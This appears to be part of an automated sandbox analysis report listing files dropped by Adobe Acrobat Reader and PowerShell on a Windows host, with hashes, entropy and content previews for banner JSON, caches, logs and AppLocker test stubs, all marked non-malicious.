Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.337556179920786
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJfzdPeUkwRe9:YvXKXF6ibsdTeO3OGb8Ukee9
MD5:	2C49CFA8FA87AB3CE9E027845E00AE7B
SHA1:	50E9582BFF3C3B343EA9E3F12B695B287680FA56
SHA-256:	D87AF332221889E9FF42DEFEB341946BEE0691976238AD912B50CF0A9E3D857D
SHA-512:	4D9363E5FC382597B469609558483AE40D2FC86270EF21106EF5263A5614B5F223EE41C012010BF45E4C617A6A271932B6FB453F56A268D2555B7B67ECB53DDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318577622881371
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJfYdPeUkwRe9:YvXKXF6ibsdTeO3OGg8Ukee9
MD5:	552CA32FC5FF83CFAFD5894214209AFF
SHA1:	6F6BBA9052034F30745D2DD561D6CD9E3919FDB8
SHA-256:	3747F253018525370059F481E3E43D8F385D5756206693296A2010F1F39E7798
SHA-512:	85B2EA4F7B9D1444508C96A37138DB710E6707003451998683717E33CD5705CE2793F955A6D626B5A3071907C29965475EB10C62D866ADAD81196E990AEF16FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.304955066529621
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJf+dPeUkwRe9:YvXKXF6ibsdTeO3OG28Ukee9
MD5:	0C1BEDEA3F9D4FB5D789CD0E62A2FCDA
SHA1:	8EBD376674EC68683474EC7D20EA6DC9EF182FB3
SHA-256:	9C16519D862815C457DF0FEA2C71C0C9CE8CE0CB47817AF9B7137C18FE8F46B6
SHA-512:	CE0A1069967D0B441A6385A168345EEE64D9EC6D759DF5D2660430033FA02554AE3987D467FBFC26D50F878B9CE442504E81819BCDDB5E103A1E51526C6BFB90
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.301997039298318
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJfbPtdPeUkwRe9:YvXKXF6ibsdTeO3OGDV8Ukee9
MD5:	AEAD1AC6B8EC50C7196563283F1FA10E
SHA1:	0F89F1BB1611C97FABAD7A6AB3EA3343823748CD
SHA-256:	4F3626B7D569FDEA4A2255F2811ED882F25A9E494B226583AEF85FFB97C54ACF
SHA-512:	4A9B76F1573E4C5C5340C5EC0D09FE87DFE9676740310E9F516CED2551CDF28119991874830076D16411FBADEBD4F2F7ABFBC20DAA1B6567BFDCD55EDE625160
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.306905633978089
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJf21rPeUkwRe9:YvXKXF6ibsdTeO3OG+16Ukee9
MD5:	DDCC3AC43CD92FCB19516C7B0E013EA9
SHA1:	4A9A233929F2B40B0F180C979223B339D7DEA818
SHA-256:	0C758BFC120FE35862359FFEECB3B9D70D2551B5EB252E0632785509FF7417ED
SHA-512:	F64614ED5CB6973E5A2E013643A358D0313FFE483842BC827F681E5E69D990A2ECA9A45E5E70CE6FDDE8FDEAC7D09873106CAFDAC6BD4C762D280F75228B1A70
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664255472727598
Encrypted:	false
SSDEEP:	24:Yv6XcCmeO37amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSI:YvveCLBgkDMUJUAh8cvMI
MD5:	397713A0B8F638155BD017F266097B5A
SHA1:	AD7D88364EB7EA960F22613A28ED74C2C2A7E82C
SHA-256:	8A3FAEB67BC9703C7101B141127A292970DA884D7CEAEBE9888B321FB154C369
SHA-512:	359222310475C2DC7E1CBD183B90F059C2860EAFD7A1A6C8761AEDF80E7EA52559646111B29A4FCAE2A1C0E8692068FD8CFFB1A196E91368956E0023A5A1DD77
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2823154892600765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJfshHHrPeUkwRe9:YvXKXF6ibsdTeO3OGUUUkee9
MD5:	4F997267B1CA9C1F5984FFF2C2E48394
SHA1:	FEC2081866E8D976C97603D5F55270093AEF20FF
SHA-256:	42110DDA9C141FCEA4F021A2DE84A021C1E8732A9E3D1E1239FA662CB728E70F
SHA-512:	858AB3CDB4F982EF5AA1F664DC88C2FF018D63CB0616FE0573478792B951515811B59B76F92776545F02CEF5C7E4AB493806F563C683B4536D697980BDD6AAF1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.295860004799795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJTqgFCrPeUkwRe9:YvXKXF6ibsdTeO3OGTq16Ukee9
MD5:	DCC9ECA58C8591457EA7A97F90A31DAB
SHA1:	386740E41916A9667D07E998A89DBCD5A64911D7
SHA-256:	54F4D644445FFF47B95FA1C4AB9197328CCAC8B039AE9B2EDC54D58220A46243
SHA-512:	B508223A8281ECDBA22C5588510BC1EF4BEF92FBDB087D713E448F2DA5C0524181374394062D5B5E1B86D8989A5EC95C2DA5934E5D98C59D3FE438B05D976A81
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.120773088578519
Encrypted:	false
SSDEEP:	24:YXvkFaHay8sU/dZ/v4Fb3jeR1sj0Sg2C2LSlrCCDbGP34C62a0e56299g4CuGOG:YXvT6Z/mo1+kTiQGv42Qs29i4i
MD5:	829F72944DED17344D1A95AA7DEA1D14
SHA1:	F2DC9E0AAE9F2999BF91801F5D6BD94931A4E9C2
SHA-256:	FFEED15E740048259A38AEE539AD0FD9C5920C17B383B744914EB834A7A5AEBE
SHA-512:	E7A2838ACF5592731E72C82E748272F84EBA206FCE0D52895F9EABE234933397D60345287CC52A1871EAC54F8F144DD4B8E7E8684D15C1691474749D1258F8B2
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3052e046e23065495b5f3a4abcf5bc1d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736537060000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5e07d37c2c142f131c7a686776a51814","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736537060000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d24834f68335dfff1b3a82a691ab299b","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736537060000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"dbbe3a3107199a54bdffe0f50dab25b6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736537060000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"df50596e7b4389ae95b689da39e6f241","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736537060000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9a990faaae4643ee59716a0940d34bec","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.454975454167402
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsBglfS:lNVmsw3SHtbDbPe0K3+fDZdQ
MD5:	B6B87F240057FBAF497723F03390A61B
SHA1:	24352CD4B779B49E5B257B0E0F5B9E59C4786A7B
SHA-256:	A7FF1F04FE066FF5518E2E69D9F11B78BD1951CAC3BE5B715521DD2E63567C3B
SHA-512:	97243DC89B07A3C1AA0344B516919BBBF6D74C7799A5F67BE789ACEDBC42E388C9547EA6290028A7D7599294278F12FE281F7A5BAACFAEE8FEB3812335C19A65
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9555719174776276
Encrypted:	false
SSDEEP:	48:7MIrvrBd6dHtbGIbPe0K3+fDy2dsBVDqFl2GL7msI:7N3SHtbDbPe0K3+fDZdGKVmsI
MD5:	D01FED2C3A580C41394D43F358B2BDA4
SHA1:	8D9D92DAF1C413784A58BEBD4C2F7DBAE7544C63
SHA-256:	A938D69651617843914DD2C8AB7C006AB31E4F76F7F74BB2B0B060A03AF7B2F1
SHA-512:	665E40D7F3B726CEC9387867CFBB4C6D11F8439D5A82CD0B3C291C7A91FFA3CFF31F7391DD9799277A75E57DC51C9A8455B5F59851A407037DD1D6C0B684EE40
Malicious:	false
Preview:	.... .c.....!.r.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgNTxt2kwiCT5kCPaMhzdixH6UYyu:6a6TZ44ADERxtTZ+5kC3pUK
MD5:	98BE06FCB396F422C2EABFCE1199DC51
SHA1:	68BA3917F52C67E68C611BE4EFCCEF2A466C1458
SHA-256:	0E1AD2AF919EC8532D436A218A94C2C193411FB554E9BF75D3B253698333FB3E
SHA-512:	8C012D53DD0411F06DA67F1A444F43BB5B7DA49859B863C4FC6948D515421344EF2C005AEA6DB985DE5E951A1136435CB04A989079AAB6CCF9ADF4AC3C6532D4
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIbcaa8.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERLKw:Qw946cPbiOxDlbYnuRK+bDdKw
MD5:	CF1967308DF30010274AB8FC4A492F67
SHA1:	E72B846DA91CE392B51CA9C8A282D1BE911D0282
SHA-256:	F9DB63F675BDE8845CC15BAB4209CB1BD61A18B07F9F838C56ECBBE9D5C57DCC
SHA-512:	7899508B992FA9CB50A4CA5D4575C0C90F81EDA95ABF0C217D0C8BB38787814CDEB9596050D976D1C9FE7E43F249A7C180090F907AA948673AE7A4D85D18CF22
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.2.4.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_if5p3omo.vnx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qgem5qgr.xnb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91mwu76r_18j1jjw_62s.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-24-12-946.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3581597985974625
Encrypted:	false
SSDEEP:	384:xXZux7MXmloGNDi35K5Tkanm6VEjoRtMBSL/5N5to9UZ7z4nU9u90lztu2s5i/v4:Z19
MD5:	854E777C6BDB678934BF6305BF754B0C
SHA1:	DFE732B1B365D6CAB36F32EB5752E867FA14F4B9
SHA-256:	AF448A397BE6505807BDF14C9831A50C40EC3EE4A50C507141FE5B327CF49100
SHA-512:	6D4E2B7B879601CA8701187CF0A801EB1FCB153AD4811BB2C97369A1539E6F8B52C51F9592426A02DDB161E3B339C980777DF224467C361EE10BA61D9FB0A09F
Malicious:	false
Preview:	SessionID=7df4c455-080d-4f13-b64e-a91aef050996.1736537052963 Timestamp=2025-01-10T14:24:12:963-0500 ThreadID=7720 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7df4c455-080d-4f13-b64e-a91aef050996.1736537052963 Timestamp=2025-01-10T14:24:12:982-0500 ThreadID=7720 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7df4c455-080d-4f13-b64e-a91aef050996.1736537052963 Timestamp=2025-01-10T14:24:12:982-0500 ThreadID=7720 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7df4c455-080d-4f13-b64e-a91aef050996.1736537052963 Timestamp=2025-01-10T14:24:12:982-0500 ThreadID=7720 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7df4c455-080d-4f13-b64e-a91aef050996.1736537052963 Timestamp=2025-01-10T14:24:12:982-0500 ThreadID=7720 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.405642988238738
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRQ1:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRw
MD5:	192801C106BB2572DEF2743CE4F2458E
SHA1:	CD6EE9CB469234DE583501514DDE1777958AB22C
SHA-256:	8FF47F015FD5448B7291BECA12034DFB6FC78916B7128906CB5D4F441AA61603
SHA-512:	A7F6C1264CE58BC36E53AD8756E674DA1D79DBD2C48C6992000016EAB84E138006670E35CABB1ADDC12D7973638F64A8B4892EDCF026CAFDEABBC08D6DD1B30A
Malicious:	false
